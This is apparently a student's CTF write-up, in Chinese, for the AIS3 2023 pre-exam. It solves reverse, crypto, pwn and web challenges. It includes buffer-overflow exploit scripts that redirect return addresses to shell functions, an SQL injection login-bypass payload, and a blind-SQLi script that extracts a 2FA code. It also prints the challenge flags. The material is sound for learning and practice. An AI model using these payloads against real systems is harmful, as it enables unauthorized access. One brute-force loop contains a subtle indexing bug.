AIS3 Pre-Exam Write Up

Name: 王謙靜
Username: forward
Email: chen910606@gmail.com

解出題目：

- Welcome
- Robot
- Simply Reverse
- Fernet
- Simply Pwn
- ManagementSystem
- Login Panel

Welcome

點開 pdf 後照著打，O 與 0 和 - 與 _ 有稍微測試了幾次。

```
AIS3{WELCOME-TO-2023-PRE-EXAM-&-MY-FIRST-CTF}
```

Robot

nc 連上去後發現要解 30 題數學題，所以就寫一個 python，實際執行後發現在最後一個會出現 segmentation fault，於是就只用程式解 29 題，最後一題用 interactive mode 手動解，解完 30 題後就拿到 flag 了。

```python
from pwn import *

r = remote('chals1.ais3.org', 12348)

r.recvlines(2)

def f(s):
        c = '+'
        for i in s:
                if i == '+':
                        c = i
                        break
                elif i == '-':
                        c = i
                        break;
                elif i == '*':
                        c = i
                        break
        s = s.replace(c, ' ').split()
        x = [int(x) for x in s]
        if(c == '+'):
                return x[0] + x[1]
        if(c == '-'):
                return x[0] - x[1]
        return x[0] * x[1]

for i in range(0, 29):
        print(i)
        s = r.recvline().decode()
        print(s)
        ans = f(s)
        r.sendline(str(ans).encode())
r.interactive()
```

```
AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}
```

Simply Reverse

把檔案丟到dogbolt，觀察後發現 flag 就是 main function 中測出來正確的 key，並且是透過 verify 函式來判斷我們輸入的 key 是否正確，verify 函式中會把輸入與 index 做一些指令，做完後再和一個 encrypted 陣列裡的數值比對，透過上面的網站取得做的指令後，就可以自己用 c 刻一個檢查函式，進一步也可以把每一位單獨拿去來做比對，因此我寫了一個暴搜程式，一一嘗試每一個可能出現的字元，直到該字元算出的結果與 encrypted 的值相等爲止，比對 34 個字元後，就可以發現 FLAG。

```c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

unsigned char encrypted[35] =
{-118, 80, -110, -56, 6, 61, 91, -107, -74, 82, 27, 53, -126, 90,
   -22, -8, -108, 40, 114, -35, -44, 93, -29, 41, -70, 88, 82, -88,
    100, 53, -127, -84, 10, 100, 0};


int verify(char *arg1){
  int32_t i=0; // [rsp+14h] [rbp-4h]

  for ( i = 0; i < 34; ++i )
  {
    char rax_24 = (((*(arg1 + i) ^ i) >> (8 - ((i ^ 9) & 3))) |
   ((*(arg1 + i) ^ i) << ((i ^ 9) & 3)));
    if(encrypted[i] != rax_24 + 8){
      return i;
    }
  }
  return i;
}


int check(int32_t i, unsigned char b){
    unsigned char rax_24 = (((b ^ i) >> (8 - ((i ^ 9) & 3))) | (b ^
    i) << ((i ^ 9) & 3));
    return rax_24+8 == encrypted[i];
}

char ans[100];

```

```c
int main(int argc, char *argv[]){
  int len = strlen(alpha);
  for(int i=0;i<34;i++){
    for(int j=0;j<256;j++){
      if(check(i, (unsigned char)j)){
        printf("find = %d: %c\n", i, (unsigned char)j);
        ans[i] = j;
        break;
      }
    }
    if(ans[i] == 0){ans[i] = '"';}
  }
  ans[34] = '\0';
  printf("%s\n", ans);
  return 0;
}
```

執行畫面


```
AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}
```

Fernet

程式執行加密後會先 random 一個 salt 之後再利用 salt 以及 password 去產生 key 並用來對明文加密，由於 password 已經洩漏，故我們只要找出 salt 就能產生 key 並對密文進行解密。根據程式碼可以知道 salt 會放在密文做 encode() 和 base64.b64decode() 後的前 16 個 byte 上，故我們可以將處理後的密文分爲前 16 個 byte 以及 16 個 byte 以後的兩個部分，並且把它放在相對應的位置上。

```
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
#from secret import FLAG

def encrypt(plaintext, password):
        salt = os.urandom(16)
        key = PBKDF2(password.encode(), salt, 32, count=1000,
   hmac_hash_module=SHA256)
        f = Fernet(base64.urlsafe_b64encode(key))
        ciphertext = f.encrypt(plaintext.encode())
        tmp = base64.b64encode(salt).decode()
        tmp = tmp.encode()
        tmp = base64.b64decode(tmp)
        return base64.b64encode(salt + ciphertext).decode()

def decrypt(ciphertext, salt, password):
        key = PBKDF2(password.encode(), salt, 32, count=1000,
   hmac_hash_module=SHA256)
        f = Fernet(base64.urlsafe_b64encode(key))
        plain = f.decrypt(ciphertext)
        return plain


# Usage:
leak_password = 'mysecretpassword'
plaintext = 'AIS3{123456u++AAAAAA}'

# Encrypt
ciphertext = encrypt(plaintext, leak_password)
print("Encrypted data:",ciphertext)

```

```
# 因為太長會超出框框，所以分段寫。
ciphertext = "iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0"
   + "tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOV"
   + "A3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQT"
   + "XN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj"

cipher = ciphertext.encode()
cipher = base64.b64decode(cipher)
salt = cipher[:16]
ciphertext = cipher[16:]
print("salt", salt)
print("ciphertext", ciphertext)
plain_text = decrypt(ciphertext, salt, leak_password)
print(plain_text)
```

```
FLAG{W3lc0m3_t0_th3_CTF_W0rld_!!_!!!_!}
```

Simply Pwn

利用 checksec 發現程式的 PIE 沒有打開，故我們可以得知程式碼執行的 address，利用 redare2 去看程式的架構，發現 main 中的 read 讀的 byte 數超過變數宣告的記憶體，因此可以用來觸發 buffer overflow，此外還有發現一個名爲 shellcode 的 function，因此解法爲將觸發 buffer overflow 並將 return address 設爲 shellcode 的 address(0x4017a5)

```
from pwn import *

#r = process('./pwn')
r = remote('chals1.ais3.org', 11111)

#raw_input()

r.recvuntil(':')

overflow_len = 0x47+0x8
return_address = 0x4017a5
r.sendline(b'a'*(overflow_len) + p64(return_address))
r.interactive()
```

```
AIS3{5imP1e_Pwn_4_beGinn3rs!}
```

ManagementSystem

觀察 ms 執行檔可以發現 PIE 沒有啓動，故我們可以知道每個 function 的 address；觀察 ms.c 可以發現程式在刪除 user 時使用了可能造成 buffer overflow 的 function: get，並且在程式碼中的 secret_funtion 有一個已經寫好的 shell，觀察過後可以發現解題思路爲：在 delete 時觸發 buffer overflow 並且將 return address 覆蓋爲 secret_function 的位置。
經過嘗試後發現我們必須在程式觸發 core dump 前就執行 return，故在 buffer overflow 的同時也必須讓 user_idx 小於等於 0，因爲 user_idx 在 buffer overflow 後有重新賦值，故我們只要讓 sscanf 讀到的數字小於等於 0 即可。

```
from pwn import *

r = remote('chals1.ais3.org', 10003)

r.recvuntil(b'>')
r.sendline(b'3')
s = b'0 '
sz = len(s)
offset = 0x60+0x8
ret_add = 0x40131b
r.sendline(s+b'a'*(offset-sz)+p64(ret_add))
r.interactive()
```

```
FLAG{C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!}
```

Login Panel

從 app.js 發現有 sql injection 的漏洞，因爲程式碼會檢查 username，所以就從 password 下手，輸入

```
username: admin
password: ' OR username = 'admin' -- abc
```

我們也可以透過這個漏洞去找出 code，利用程式碼 injection 成功會跳轉到某個網頁的特性去進行盲注，透過一個一個字元慢慢搜尋來找到 2FA 的 code，把找到的 code 輸入後即可跳轉到 dashboard，並且拿到 flag

```
import requests

# 前半段利用 curl to python 的工具可以獲得 cookies, headers 以及
  data 的資料，其中 data 有兩個欄位分別爲 username 以及 password

# curl to python：https://curlconverter.com/

```

```python
def check(s):
    # 傳送 username 爲 s 的封包，並且檢查 response 是否有跳轉發生
    data['username'] = s;
    response = requests.post('http://chals1.ais3.org:8000/login', cookies=cookies, headers=headers, data=data)
    #print(response.text)
    return "E6jbBLrxY1U" in response.text;

def make_string(pos, c):
    # 製造 payload，一次只看一個字元
    return "admin'and SUBSTR(code, " + str(pos) + ", 1) = '" + c + "' -- abc"

def find_password(n):
    # 透過爆搜找密碼
    pwd = ""
    s = ""
    table="0123456789"
    for i in range(1, n+1):
        for j in range(0, 16):
            s = make_string(i, table[j])
            if(check(s)):
                print(i, table[j])
                pwd += table[j]
                break
    return pwd

print(check("admin' -- abc"))
print(check("admin"))

print(find_password(14))

```

```
AIS3{' UNION SELECT 1, 1, 1, 1 WHERE ({condition})--}
```